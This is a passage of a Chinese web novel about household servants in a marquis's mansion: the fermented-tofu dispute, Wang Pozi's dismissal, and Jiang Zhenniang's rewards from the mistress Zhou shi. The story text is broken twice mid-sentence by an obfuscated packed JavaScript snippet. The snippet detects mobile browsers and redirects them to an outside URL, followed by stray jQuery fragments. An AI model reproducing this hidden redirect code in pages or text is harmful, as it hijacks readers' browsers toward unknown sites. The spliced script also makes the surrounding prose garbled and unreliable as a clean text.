吴妈妈见曹妈妈还嘴硬，蹙着眉捏着鼻，伸手弯腰提起篮子来。她把竹篮搁在案上，大咧咧地展示给身边人看，末了还一脸震惊地看向曹妈妈：“曹姐姐，你家里可是出了什么事？怎么都不和咱们说一声。” “再穷也不能吃这豆腐。” “这……要是吃出问题可怎么办啊？” “真是吃的。”曹妈妈涨红了脸，硬撑着：“不过是偶尔打打牙祭，又不是日日吃，瞧你们大惊小怪的样。” “哎……秋月素兰，你们可听过用这种坏豆腐做的吃食？”吴妈妈瞧着，好奇询问身侧的厨婢。 厨婢们纷纷摇了摇头，旁观的仆役也纷纷摇头：“这物怎么能吃？” “腐乳不就是用坏豆腐做的？” “那不一样，我记得是长毛的。”有人摇了摇头，描绘起腐乳胚子的模样：“而且之前不还出了案子，就是从摊贩那买的腐乳，吃得人腹泻不止……官府还明令禁止私底下自行制作呢。” 更何况，曹妈妈的手艺又不咋滴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502676|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人七嘴八舌，各种猜测，很快又纷纷回到最初：“莫非是大丫买错了豆腐……” “大丫都十岁了哎？” “这样还能买错豆腐？莫非是个傻的？”说到后头，仆役免不得放轻声音，眼里皆是震惊和鄙夷。 苏芷寒见局势越发往一边倾倒，曹妈妈急得额头生汗，终是忍不住站了出来：“吴妈妈，您错怪曹妈妈了，此物不但能吃，而且味道还不错。” “哎？”吴妈妈先是一愣，随即气极反笑。按着苏芷寒话里的意思，岂不是说自己见识少？才不晓得跟前东西的用处。 她瞬间敛起笑容，沉声道：“哦？寒姐儿的意思是你见识过？” 苏芷寒心中叹气，她原不想招惹吴妈妈，谁教自己与曹妈妈是串在一条绳索上的蚂蚱，她还必须给自家人争口气。 苏芷寒先是认真解释：“吴妈妈误会我的意思了。其实此物乃是乡野常吃的，村里贫苦，到冬日无物可吃的时候，放坏的豆腐也是舍不得丢弃的，后来才有了这般的吃法。” “吴妈妈和曹妈妈乃是府里的家生子，都是在京城里长大的，哪能吃过这等贱物。” 苏芷寒说到这里，又朝着曹妈妈投去感激的视线：“说来也是曹妈妈关心我，常问我过往的事儿，我提起这物，才教曹妈妈生了好奇。” “这物气味不好闻，原本我们是想拿回去再做的，没曾想被秋月姐姐捣鼓出来。” 吴妈妈将信将疑，先是撇了一眼苏芷寒，而后又往曹妈妈那看去：“你这话说的……不会是想帮曹妈妈找补吧？” “吴妈妈当我是什么人！” “就和寒姐儿说的一样。”曹妈妈拿着汗巾子抹了抹汗，厚着脸皮接话：“刚刚我教大丫顺带买些回来，可没曾想那味儿重得厉害，可把我吓了一跳。” “总不好在灶房里捣鼓这些。” “我想着得回家以后再去琢磨琢磨，这才教大丫盖上粗布放柜里的。” 曹妈妈说到后头，也渐渐冷静下来，扯着嗓子抱怨：“倒是吴妈妈的丫头，咋这般心不在焉，粗手粗脚，连走过路都能把我女儿撞翻。” “都是我教导无方。”吴妈妈僵着笑脸，又不好真让曹妈妈现场做一做这坏豆腐，她剐了一眼秋月：“还愣着做什么？还不赶紧去把东西放好。” 秋月眼眶微红，低垂着头应了声。 曹妈妈看吴妈妈不再追究这事，终是松了口长气。她拉着苏芷寒的手，轻轻捏了捏，压低声音道：“寒姐儿，今日的事多……” 苏芷寒眼睛眨了眨，示意曹妈妈不要再说。而后她抬高声音，细细说道：“回头您用这豆腐前要冲一冲水，而后用猪油煎一煎，煎到两面金黄，再拌上我说的酱汁……” 吴妈妈竖耳偷听半响，终是去掉了怀疑。她啧了一声，而后倒是有些心虚起来，抬眸往章妈妈那瞧去。 自己这么多年都没进步，也鲜少得到主子们的赏赐……莫非真是自己固守成规，没怎么接触过外面的吃食？ 且不说吴妈妈如何怀疑自我，开始琢磨要学习一二之事，那边蒋珍娘吃完洗衣房诸人为她办的散伙饭，也正式进了三娘子院子做事。 养猫，喂鸟，活计比起洗衣房里轻松了不知道多多少。若不是蒋珍娘刚进三娘子院，宁可早些去帮帮忙，也不愿提早离开，她都觉得自己无需另外赁人，有充足的时间去外面卖豆干。 与此同时，王媳妇也渐渐察觉事情有些不对劲。 19.上工 “我和你们说……” “你那都是老消息，有啥好听的？听我与你们说……” 下人院里，几名仆妇脚边摆着装满水的木桶，聚在水井边说闲话。 她们多是三四十岁的年纪，正是什么都爱说，什么都敢说的岁数，一会说谁家姑娘与人看对眼了，一会说谁家女儿日日打扮得俏丽，不知道抱得什么心思，一会说谁家郎君长得俊俏，直说得几名年轻脸皮薄的姑娘往旁处躲，都不敢过来打水了。 除去这些，便是府里的八卦事。 正当几人说得起劲的时候，有仆妇眼角余光撇到了个人影，登时来了精神：“这不是王媳妇吗？你身上的伤可好？” 八卦声戛然而止，数道视线齐刷刷地落在王媳妇的身上。众人挤眉弄眼，交换着眼色，只恨不得赶紧把王媳妇送走，好继续八卦八卦。 往日里，王媳妇也是其中一员。不过打她婆子丢了脸面，她嫌人说道便不爱往里凑，而如今王媳妇也晓得自家的事情一出，她定然也成了众人八卦的对象。 王媳妇揣着一肚子的火气和委屈，面上还要带着笑，努力在外人跟前勉强维持一家人的体面。她冲着说话那人笑了笑：“李大娘说笑了，我与娘只是起了些小争执罢了，哪有受了什么伤哦。” 这话说的，在场没一个人相信。 即便王媳妇用脂粉涂了脸，尽量遮盖了青红的嘴角，可那日狼狈的模样早已传遍了整个下人院。 李大娘前面想损王媳妇，看着她委屈却还在王婆子遮掩的样儿，倒是多了点同情和遗憾，可怜王媳妇，碰上王婆子这么个婆婆，真真是苦命了。 李大娘唏嘘一声，拍了拍王媳妇的手背，难得发了善心提醒了一句：“也是，那你婆婆也应该没什么大碍了吧？” “是……” “可我记得她在屋里休了好些日子了。”李大娘打断王媳妇的话，见她没回过神又提醒道：“主家宽厚仁慈，那是咱们当仆役的福分，可是咱们当仆役的也该晓得点分寸，莫把主子的体恤当理所当然的，你说是不是？” 王媳妇张了张嘴，后知后觉地回过神来，瞬间晓得李大娘在点王婆子许久不去府里上工的事。 她不是不知好歹的人，自是晓得李大娘话里的意思，恐怕是院里的主子对王婆子起了不满。 主家不满意，那仆佣还有什么前途可言呢？就像是府里洗马桶的方婆子，谁还记得她年轻时曾是老太太的陪房丫鬟，后头起了不该起的心思，才一朝从大丫鬟变成了洗恭桶的粗使丫鬟，一洗就是几十年。 这还是留下来的，保住命的。 旁人都说侯府宽厚，对仆佣不薄，可年年进人，自是每年也有被打发出去的。 王媳妇忽然想起前头洒扫的赵婆子，她被撵出去的时候她还跟着仆妇们一道看笑话，瞧着她的东西被丢出门外，瞧着她的两个儿子儿媳脸色灰败，连连磕头求饶。 要是婆婆得了主子的厌，下一个被撵出去的说不定是自家！王媳妇这般想着，惊得冒出一身冷汗，等回去以后还捡了自己的陪嫁送了李大娘，谢过她今日的劝解之语。 此乃后话，如今王媳妇告了别，着急慌忙地往回走。其余仆妇见状，还有人觉得看得不过瘾，抱怨道：“李大娘何必说出口？我原本还想开个赌局，瞧瞧王婆子何时才晓得自己被撵出三娘子院子哩。” “就是说啊。” “王婆子日日夸她儿子有出息，孙子聪慧，不晓得的还以为她儿子已是大管事了！” “真聪明的话，咋以前没选上。”仆妇们七嘴八舌，话里皆是埋怨。 也是王婆子嘴贱，最爱与人嚼舌根，凡是下人院里的连只狗走过都得被她说道两句。 如今她成了下人院里的笑柄，也多的是人巴不得能多看点。 “反正王婆子都已被撵出去了，这闹开来咱们才有戏看嘛”李大娘没说自己心软的缘故，改口说道。 周遭仆妇闻言，纷纷生出好奇来：“王婆子不会与蒋娘子打起来吧？” “嗬！还真有可能。” “蒋娘子那细皮嫩肉的，怕不得出事哦？” “那可不一定。”旁边的仆妇连连摇头，“我与蒋娘子在洗衣房里共事过，别看蒋娘子瞧着瘦削没肉，却是有一股子牛劲，一个人就能给那床单褥子挤水。” 这边仆妇们叽叽喳喳，恨不得开盘赌一赌王婆子与蒋娘子对殴的结局，那边王媳妇的脚步越走越快，到最后几乎是狂奔着回家。 直到家门口，她的步伐才渐渐放慢，想着要劝王婆子复工，王媳妇就像是吞了一只苍蝇般难受。 偏生，她还必须这么做。 起码在她进府里上工以前，王婆子的活计可不能丢！ 王媳妇做足了心理准备，扭着腰进了屋。她撇了一眼歪靠在炕上，搂着孙子捡卤鸡肠吃的王婆子，开口道：“娘。” 王婆子别开脸，没搭理王媳妇。 王媳妇也不以为然，打那天以后王婆子日日吊着脸对自己，一副阴阳怪气的架势。 要她说王婆子真有本事，就别吃自己做的饭。王媳妇心里泛着嘀咕，勉强撑起一张笑脸来：“您前前后后已请了七日假了，是不是得回去上值了？” 先是被蒋珍娘抓包，传成了偷小裤的贼子，而后又是与王媳妇掐架，成了下人院里的笑话。王婆子丢了脸子，见人笑话，便连着请了七日假。 王媳妇起初置气，也没仔细想，直到李大娘开了口才察觉不对。且不说这个月能拿到的月钱得少上大半，请假这么多日怎就没三娘子院里的人来过问一声？ 上回陶娘子家的大姐儿生了病，告了假，三娘子可是使人请了大夫来给她看的，可把陶娘子激动坏了，吹嘘了好几日呢。 “你这小蹄子还有脸说！”王婆子眼刀便直直朝着王媳妇飞去，“要不是你怂恿着学荣让我回家养老，老娘能在家里待这么多日子嘛？” “你怎地污蔑我？前头跑去蒋家偷窥的不是你？嫌丢脸子不愿去府里的不也是你？教我说，分明是你犯了懒病，拿这当借口不愿去府里做事！”王媳妇原想好声好气劝说，可见王婆子把屎盆子扣自己头上，登时又恼火了。 “你去别家问问，谁不晓得你最爱偷懒耍滑，每日去三娘子院里转一圈就走，天天躺炕上还要人伺候……” “三天两头告假，一会腰疼一会背疼的。之前徐妈妈都说你两回了，你哪回听过呢？” “再说了这事也不是我怂恿学荣的，您这不是喜欢大宝嘛，不爱去院里上工嘛？我让您留在家里享福，换我去三娘子院里，说不定用不上两年我就能当上管事娘子了！” 王媳妇话音刚刚落下，王婆子就忍不住笑出了声。她在炕上乐得前仰后合，连宝贝孙子都顾不上了：“你这丫头，我还以为……哎呦！你可真是有志气！” 王婆子笑得险些喘不过气：“不过啊你也该先看清你自己有多少能耐！能在院里当 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只是她想入府里上工的心思，如同触碰到干柴的火苗烧得越发旺盛。 王婆子瞥一眼，都晓得王媳妇心里的念头，瞧着她不甘不愿的低头，她数日以来的不悦也彻底烟消云散。 给王媳妇托人寻活计？王婆子才不乐意花这个钱呢。当时看媳妇的时候，她挑中王媳妇就是因她老实勤快，又是爹娘卖进府里的，外头家人也无甚用处，只能老老实实听自己的话。 就如王婆子想得一样，待成亲生子后王媳妇便在家里做活，而全家的钱权都被自己把持着。 王婆子用了午食，又从自个儿屋里翻出两块好料子，拎着出门往府里去。 别看她在媳妇跟前耍威风，心里也晓得这事不得劲，准备进了院子就给徐妈妈送点礼，请她在管事妈妈跟前帮自己美言两句。 王婆子走至路上，便察觉到数道视线落在自己身上。 她扭头看去，路边的仆妇们立马别开脸，自顾自说着话儿，等她转过身，视线又重回到自己身上。 王婆子的脸拉得老长，她想来是这帮多嘴多舌的在看自个儿热闹，嘴里骂骂咧咧几句，还是加快脚步往三娘子院走去。 直至三娘子院门口，王婆子刚想抬脚往里走，就被看门的两名丫鬟拦住：“站住。” “是我王婆子……” “我当然晓得你是王婆子，你来这做什么？”守门的丫鬟翻了个白眼，打断王婆子的话。她不耐烦地挥了挥手：“去去去！别在这里碍手碍脚的。” “你这丫头，怎么这样？我是来上工的！你拦着我，教我迟了活儿怎么办？” 王婆子瞪着眼儿，抬脚又要往里走，她心中隐隐有着不安。 尤其随着落在身上的视线越发多了，耳边似乎也多出些听不清的低语声，让她的不安感变得越发强烈。 “上工？”丫鬟拿着汗巾子捂嘴，乐得险些笑出声：“王婆子啊王婆子，恁的说什么胡话呢？三娘子早就发了话，说你身体不好做不了院里的活，往后就不必来了。” “什，什么？” “蒋娘子来了？”丫鬟望着后头来人，双眼一亮，笑盈盈地让开身子：“徐妈妈让婢子与您说一声，明日娘子要带猫儿出去，请您给猫儿洗个澡，熏个香。” “……蒋娘子？”王婆子僵着身体回转身去，映入眼帘的正是蒋珍娘！ 20.内情 蒋珍娘看似没瞧见王婆子，她伸手把手里的吃食递给门口的小丫鬟：“我晓得了，麻烦你们把事情转告给我，这是我女儿做的吃食，你们尝尝。” “是寒姐儿的手艺？那我们就不客气了。”两名丫鬟笑得越发灿烂，喜滋滋地接过纸袋。 三娘子院子上下都晓得新来的蒋娘子是个好脾气又勤快的，而她的女儿更有一手的好厨艺，尤其是那些小食怪教人喜欢的。 今日的吃食长得有点奇特，蓬松的外皮，稍稍用力一捏便会发出咔嚓的脆响声， 两名丫鬟常在市井里溜达，却是从未见过这般的吃食，拿着左顾右盼，又嗅了嗅气味。 带着点油润的香气，没有旁的滋味。 蒋珍娘瞧着，笑呵呵道：“你们快尝尝，这物是炸皮肚。” 两丫鬟相视一眼，想着前两日尝到的美味，不约而同地尝了口。牙齿碰到炸皮肚的瞬间，如瓷器碎裂的清脆声音在两人耳边轰然奏响，直让她们的心尖颤了颤。 放后世，这叫膨化食品的冲击。 两丫鬟瞪着眼儿，死死瞅着手里捏着的吃食，眉梢眼间皆是震惊：“这物，怎能，这，这，这般酥脆。” 独特的口感让人欲罢不能。 两名丫鬟似乎只是感叹一句，便又捡了一片往嘴里送。院里的人注意到，也忍不住走上前来，你一块我一块地尝了尝。 “呀，真的好奇特。” “这物……莫不是猪皮？”也有仆妇见识多广，仔细打量手里的吃食后发现这酥脆之物的原身：“灶房里煲的三鲜汤里常用发皮，我记得那物便是炸过的猪皮再泡发而成的。” 对于这种猜测，大多数人都是连连摇头，不敢置信：“不会吧？那物可是软趴趴的！” “对啊，肯定不是一样东西，发皮吸满了汤汁，软软糯糯的，和这咔嚓咔嚓的东西完全不同。” 蒋珍娘噙着笑，并未解答。 与叽叽喳喳，关系和谐的诸人不同，被人晾在旁边的王婆子都快疯了！她不可置信地看着其乐融融的众人，先前那些细碎的声音渐渐变得清晰：“……王婆子还不知道啊？” “噗……笑死个人了。” “日日不来上工，要么就偷懒耍滑……三娘子已经够宽容的了。” “要我是她，早就羞得不出门了。” “那日还和媳妇打起来了呢，哎呦那场面……” 王婆子气得浑身颤颤，怒上心头，她伸手指着蒋珍娘，破口大骂：“你这丧门星，克夫的贱蹄子竟敢抢我的活计——！” 王婆子的嗓门极大，尖到刺耳，扑上前便要撕扯蒋珍娘。 蒋珍娘早就防备着，脚下灵活地绕了开去，她不提，而后沉声喝道：“王婆子你疯了不成？这是什么地儿，若是扰到娘子休憩可怎么办？” 周遭丫鬟仆妇听蒋珍娘的话语，登时一激灵，忙不迭上前拦住王婆子。 “王婆子你便回去罢！” “人蒋娘子也没说错，你在三娘子院前这般嚷嚷，扰了主子休息可怎么办？再说了替了你的职务也不是蒋娘子的意，是你数日没来当值，闹得猫儿出逃，惹出事来，娘子才动了怒的。” 三娘子院里的仆妇瞧王婆子还要扯着嗓门嚷嚷，忙开口说道：“其他不说，你是真病还是装病？” “我……”王婆子被问得哑口无言，脸涨得通红。下人院里人尽皆知她请假的原因，眼前的婆子何必来戳她的心。 等等？王婆子联想到最初的事来，瞬间双眼圆睁：“好哇！你这心机深沉的奸诈女人！那日污蔑我偷窥，就是看向我的活计，想要把我撅出去！” 旁边苦口婆心劝的婆子都无语了，在旁连连摇头，院里谁不晓得王婆子最好管闲事，平日仗着自己是府里的老人，对着一群小丫鬟指指点点，稍稍用点脂粉，或是选几朵绢花都得被她嘴上几句。 “你别怪蒋娘子，问题还不是你连自己的差事都做不好。”从院里匆匆而出的是徐妈妈，她见王婆子横眉竖眼，嚷嚷个没完的样儿，直接说起王婆子的问题来。 “徐妈妈！”王婆子见着她便是嗷的一声，眼泪都快蹦出来了：“我在院里没有功劳也有苦——” “苦劳？你平日上工时不也是有事没事就往家里钻？要不就把事情推给旁的小丫鬟？” 徐妈妈打住王婆子的话，只觉得王婆子实在糊涂，白在府里呆了这些年。 且不说活计做得一塌糊涂，连人缘都是差得离谱，出事以后愣是无人求情，也无人把这事告诉她。 徐妈妈都懒得与王婆子解释内情，只沉着脸道：“你甭在这里闹腾了，娘子说了你若是不想留府里，往后便回家里去，若是你还想留府里的，便去洗衣房做事罢。” “不，不，不……”王婆子哪里愿意，因着自己请了几日假就要被赶出去？她心里悔恨往日贪闲，更害怕真被赶去洗衣房做事。 要晓得就刚刚，她还在王媳妇跟前瞧不起洗衣房和灶房的活计呢！ 王婆子不死心地往前走了一步，哀求道：“徐妈妈，让我见见娘子，求娘子开开恩，别把我从院子里赶走……” “娘子发了话，哪是你胡闹就能见一见的？”徐妈妈见王婆子还要闹腾，面露不耐。她看王婆子还想说话讨饶，沉着脸喝道：“还是说你两条路都不想选？想挨顿板子再被撵出府去，还是想全家到乡下去？” 徐妈妈的声音重重落在‘全家’二字上，她晓得王婆子的儿子正在三郎跟前当值，万万是不敢牵累了儿子。 果然，王婆子听到徐妈妈的话，再看跟着徐妈妈的两名粗使齐齐上前，登时紧紧闭上嘴，一改往日的嚣张模样。 她红着眼儿，担心再纠缠下去会连累儿子的前程，垂着眼泪往回走。 “你们跟上去看着。”徐妈妈望向王婆子离开的背影，想了想，又使着身后的粗使婆子跟上前去：“若是她今日去洗衣房做事，便与那边的管事妈妈说句就留下她，若是她不去，往后就别让她进府里了。” 说罢，徐妈妈又转身看向蒋珍娘：“没事吧？那王婆子是个小性的，院里内外的人多多少少都被她骂过。” 蒋珍娘先是一愣，而后哑然失笑：“徐妈妈放心，我没事的。” “真没事？” “……以前我也挺在意的。”蒋珍娘见徐妈妈难掩忧色，抿了抿嘴：“后头有人和我说，我夫君比我死的早，那是因为他福薄，承不起我与女儿的福气。” “事实也是如此，瞧现在我和女儿到了侯府里，日子过得蒸蒸日上，比过去不知好了多多少。” “您瞧我进了三娘子院子满打满算才三日，三娘子便又是赏了缎子，又是赏了吃食，我又有何好愁的？” 徐妈妈闻言，叹了声：“你是个豁达的，想得开的。” 她见蒋珍娘的确不放在心上，与众人打完招呼便去院里照顾猫儿，也转身回了屋。 两名丫鬟打起厚帘子，徐妈妈刚走入其中便觉一股热气扑面而来。 屋外冷得厉害，屋里却暖如春日。 徐妈妈瞅了一眼角落放着的炭盆，抬脚往里屋行去，不多时便见到正歪在榻上看书的三娘子周氏。 周氏相貌不俗，鹅蛋脸，乌黑油亮的头发并未挽起，而是扎成辫子落在肩膀上。 在屋里，她只穿着一身薄薄的杏色绣花半袖衫，连里头的窄袖衫也未穿，透出豆粉色的抹胸来。 她身侧脚踏上还跪着个半大丫鬟，正为她敲着腿，另有一名丫鬟手捧果盘，另一名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516420|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟则剥开香橘，去掉白丝，再往三娘子嘴里送去。 周氏推开丫鬟送来的橘瓣，坐直了身子：“徐妈妈回来了？快到我这边来坐。” 徐妈妈笑着应了声，上前侧着身子，坐在榻边上。她接过三娘子递来的橘瓣，而后细细把屋外的事禀报给三娘子听。 “我瞧那王婆子，是个不知好歹，许是浪费了妈妈的好意。”周氏撇了撇嘴，语气里带着点不忿。 按着周氏原本的意思，是打算直接把王婆子撵出府的。倒是徐妈妈看在王婆子在府里做了多年，加上儿子又在三郎君跟前做事，劝她让王婆子留在府里，打发去洗衣房做事。 “回娘子的话，娘子愿听我一句劝给她条路，那已是她偌大的福气。她若是抓不住这福气，非得往苦地里去，那也是她的命了。” 说到福气二字，徐妈妈又想起蒋珍娘的话。她与三娘子说起，倒是让周氏生起些好奇，示意徐妈妈到跟前来说话：“这话真是珍娘说的？” “千真万确。”徐妈妈笑道，而后又补充道：“蒋娘子说是旁人说的，我也没细问。” “我瞧着，说不定就是她自个儿想的呢。”周氏想了想，笑道。 曾几何时，她也想过这世道好生奇怪，凡是好事都往男人身上揽，凡是坏事都往女人身上推。 比如出嫁以前她哥不喜读书，娘便苛责是嫂嫂纵着哥哥，把哥哥带坏了；待到她哥读书得了师傅夸赞，娘又说是哥哥天资聪慧，才有这般出息。 等到自个儿出嫁以后，她发现婆母也如出一辙，连话语都不带改的。她与她二嫂为了官人读书上进的事，不晓得挨了几回训，好似背不出书，考不上的人不是二哥和官人，而是她们妯娌俩。 “她能有这般心思？”徐妈妈迟疑。 “毕竟以前也是跟着姑娘过的，通读过书的。”周氏晓得蒋珍娘的来历，心下觉得她是个有想法的：“要不然也不会丈夫一死，便领着女儿跑到京城卖身了。” 徐妈妈闻言，暗暗思考，想着蒋珍娘刚刚话里叹来府里以后日子日渐好过，难免唏嘘：“蒋娘子也是个可怜的，要是长辈没起那些心思，现在早就跟着姑娘去了杭州府，日子好过得很。”哪像现在，拿个三等的月钱就满足了的。 “也是。”周氏附和道，不过说到这里她又想起另一件事，拿着汗巾子捂嘴：“你说说看，大嫂也够狠心的，好歹珍娘也算是姑娘的奶姐，怎就让在洗衣房里做事？要不是徐妈妈你恰好碰到，又正好想还个人情，咱们还不晓得这件事呢。” 周氏不是没想到，大嫂赵氏许是压根不晓得这桩事，不过谁教如今当家的是她，安排蒋珍娘去洗衣房的也是大房的管事，这错当然是她犯的。 “可要与老太太说一说？” “说她做什么？大姑娘刚出嫁，大嫂气势正凶呢。”周氏眯了眯眼，她当初调查蒋珍娘只是想瞧瞧秉性，没想到却闹出个大料来。 周氏动了心思，留下蒋珍娘，却没想这么快就把好牌丢出去。待到老太太与大嫂又起冲突，那时这副顺子才能变成王炸，就像是沸腾的油锅里落下的那滴水，定然会起到决定性的作用。 至于现在？当下的她只是单纯觉得蒋珍娘心善，而给予提拔罢了。 周氏笑眯眯的想着，当然她也不会亏待了蒋珍娘：“到底也让她受了惊，弄玉，你拿钥匙把匣子开了，拿两锭银子给珍娘压压惊。” “另外还有昨日新来的绸子……” “对了，再拿点果子糕点……” 待苏芷寒晚间回到家里，便发现蒋珍娘正坐在炕边，美滋滋地翻看布料。 她定睛一瞅，那是一匹藕粉色的绸料，苏芷寒上回跟着蒋珍娘逛过布料行，眼前这匹绸料，市价起码得三四贯钱。 21.时至小雪 “阿娘，您去布行了？” “我没去布行。”蒋珍娘抖了抖手上的绸料，往苏芷寒身上比划：“这是三娘子赏我的，我瞧着这料子衬你的肤色。” 紧接着蒋珍娘把布料放回桌上，扯出软尺给苏芷寒量身量：“唔……寒姐儿长高了，明年你还能长呢。” “这样吧，阿娘明天去市场里买些布料和棉花，给你做件新年穿的袄子，剩下的绸子给你再做条春日穿的百褶裙，你说好不好？” “给我做衣服干啥子？我在灶房里用不着穿多好的衣裳，倒是阿娘您给自己多做两件吧。”苏芷寒摇了摇头，兴趣缺缺。 大厨房里本就日日油烟，着实糟蹋衣服，更何况最近还多了个活计：腌菜。 有句俗话：小雪腌菜，大雪腌肉。 随着气温急降，天气干燥，制作腌品的好时节也终于到了。 大厨房里进了大量蔬菜瓜果，许娘子领着众人开始准备冬日要用的各种泡菜、咸菜和酱菜。 那股味儿都能把人腌入味了，更不用说染上酱汁就能直接毁了一件衣裳。别说年轻爱俏的厨婢们，就是要脸面的管事妈妈们也把好衣裳藏起，捡着旧的细布衣服穿着，免得糟蹋衣服。 再说比起自己，已进了三娘子院子的蒋珍娘，更要穿得光鲜体面些，以免让人看不起，反而丢了三娘子的脸面。 苏芷寒说出心中顾虑，不过蒋珍娘却是别的想法：“院里针线房的妈妈已给我量了身量，重新做了衣衫，过两日便能拿到手了。” 主子院里的男仆、婢女到婆子都与外院不同，都有各自的衣裳服饰，就连发饰和鞋袜都有相应的颜色规定。 蒋珍娘刚进院里，针线房便给她量了尺寸，抓紧时间做衣服去了。 至于三娘子赏给她的，那都是做的私底下穿的衣裳。蒋珍娘把布料往苏芷寒身上比划着，不容置喙，口气坚定道：“穿不穿那是另一码事，但旁人有的咱们寒姐儿也得有。” 她家女儿懂事，从不问她要钱买簪子发饰，买零嘴吃食，要新衣新鞋，还一个劲儿的赚钱，有好的都先给她用。 直到去了三娘子院里，蒋珍娘与那些小丫鬟处了两日，才发现那些小丫鬟也是与寒姐儿一般的岁数，各个打扮得精致细巧，凑一块儿说的都是彼此的针线活，时下流行的花纹与玩具。 蒋珍娘拿了赏赐，便打定主意，准备要给女儿做件新衣裳。 苏芷寒闻言，心里软软的，声音也不免软了下来：“那我和阿娘……一人一件，就当是亲子装。” “亲子……装？” “对，咱们穿得一模一样，多好看，旁人一看就晓得咱们是一家人。” “那府里的衣服”不也是？ “才不一样呢！”苏芷寒打断蒋珍娘的话，拿着绸子比划：“用这绸子做咱们母女俩独一无二的衣服，袖口拼个湖蓝色的绸子？再绣点小花？又或是买一匹绢料，直接做成百褶裙……” 在苏芷寒的描述下，蒋珍娘很快败下阵来，同意了苏芷寒的要求，准备把缎子留着做两条裙子，再买两匹细布做上身的衣裳，等到开春便穿出去逛逛，教人看看她们这套亲子装。 苏芷寒解决这桩事，抬眸望向屋里多出来的其他物件：“说起来，阿娘怎么得了这么多的赏赐？可是出什么事了？” “这还得感谢王婆子。” “？”苏芷寒面露疑色，等蒋珍娘说完来龙去脉以后她的疑惑非但没有减少，而且还越发多了。 受了惊吓，为了安抚蒋珍娘才赏赐的？ 苏芷寒瞅着屋子里的物件，不由地嘀咕道：“这……会不会多了点？” 刚进院里做事那天，便赏了一波，今日又赏了一波。 蒋珍娘摇摇头：“我听三娘子院里的人说，三娘子素来大方宽厚，常常赏赐的。” 可这也太勤快了些，太多了一些！ 苏芷寒听蒋珍娘说着今日拿到的赏赐，除去她手里拿着的这匹绸子外，桌上还摆着另外一匹细布，瞧着花色应当也值个一贯钱。 另有两颗香橘、两颗石榴和半只烧鹅。 那一对香橘，因其香味浓郁，芬芳扑鼻，色泽金灿，京城人常唤作香橘，其实来自平江府，一对便要两贯，还有价无市，无门路者很难买到。 苏芷寒晓得这香橘的来历，还是因吴妈妈的女儿也得了赏，教吴妈妈甚是得意，在大厨房里吹嘘了一盏茶才罢休。 可她得的香橘，还只是一个，就吴妈妈的话语描述似乎尺寸也要比眼前的小许多。 另有一对石榴，虽然石榴比起香橘要稍稍价贱一些，但瞧其外皮红润，果型混圆，轻轻撕扯开外皮，里面的果籽饱满如粒粒红宝石，想来也并非凡物，价格定是不菲。 而后还有两枚银锭子。 苏芷寒的目光滑过银锭，倒不是她对银钱无所谓，而是一股浓烈香气从蒸笼里直直窜出，霸道地冲入她的鼻腔中，将她的心神思绪尽数揽去。 蒋珍娘把散乱在桌上的绸子和细布折好放到箱子里，而后走到炉子旁。 在苏芷寒回来以前，蒋珍娘便把烧鹅放到笼里热了热，此时掀开锅盖，伴随着溢散而出的茫茫白雾，浓烈的香味也直直窜出，激得苏芷寒头皮发麻，口齿生津。 “这味儿，忒霸道了。”蒋珍娘有好多年没吃到过这般的好物，嗅着味儿直吞口水。 她忙把热好的烧鹅挪到桌上，先拧下大鹅腿送到苏芷寒手里，接着再拧下一大块鹅翅：“还愣着做什么？快趁热尝尝。” “我就想……今日灶房里并没有提起做烧鹅？”苏芷寒下意识回答道。 制作烧鹅烤鸭等物要用的是大炉灶，这般的炉灶价格不菲且占地方，同时油烟重气味重，侯府里也只有大厨房里备着。 既然大厨房里没有做烧鹅，那这只烧鹅应当是从外面酒楼里买的？虽不晓得是谁家的，但三娘子能用的定然是大酒楼里做的吃食，起码也得小几百文吧？ 苏芷寒一口咬下去，被锁在那薄薄外皮之下的汁水登时喷涌而出，几乎要顺着唇角落下去。 她急急弯腰，拿着汗巾子去抹，嘴里还不忘继续咀嚼。鹅肉肥美香软，带着果木碳烤的香气，苏芷寒细细分辨，隐约觉得像是荔枝木的风味。 当下荔枝盛产于福建，另外还有四川等地也有种植，不过在京城周遭却是少见。 因此要用荔枝木来烤制烧鹅，那些木材必须千里迢迢运送而至，即便本来价贱，这般折腾之后也是价值连城。 若真是用荔枝木烤制而成，那这份烧鹅的身价恐怕又要翻一翻，不！翻上三倍都有可能。 苏芷寒惊叹的同时，又忍不住再咬了口烧鹅。这还是她穿越以后头回吃到烧鹅，醇厚的肉香在舌尖不断迸发，因蒸制而稍稍变软的鹅皮油润，肉汁馥郁，裹挟着果木的清香和炙热，一股脑儿冲入胸腹之间。 “真好吃。” “这也太好吃了。” 蒋珍娘的感叹不绝于耳，吃完一整个鹅翅，又舔了舔手指，连最后一滴鹅油都不放过。 她舍不得一口气吃完，用罩子罩上，准备剩下的明日再用。 蒋珍娘虽是这么想着，但一双眼儿总是没办法从烧鹅上挪开。她咽了下口水，又与苏芷寒感叹道：“进了三娘子院，果然就是不一样，怪不得这么多人磨尖了脑袋想往屋里钻，瞅瞅这才几日咱们就拿了这么多的赏赐。” “寒姐儿啊，你听阿娘的劝。” 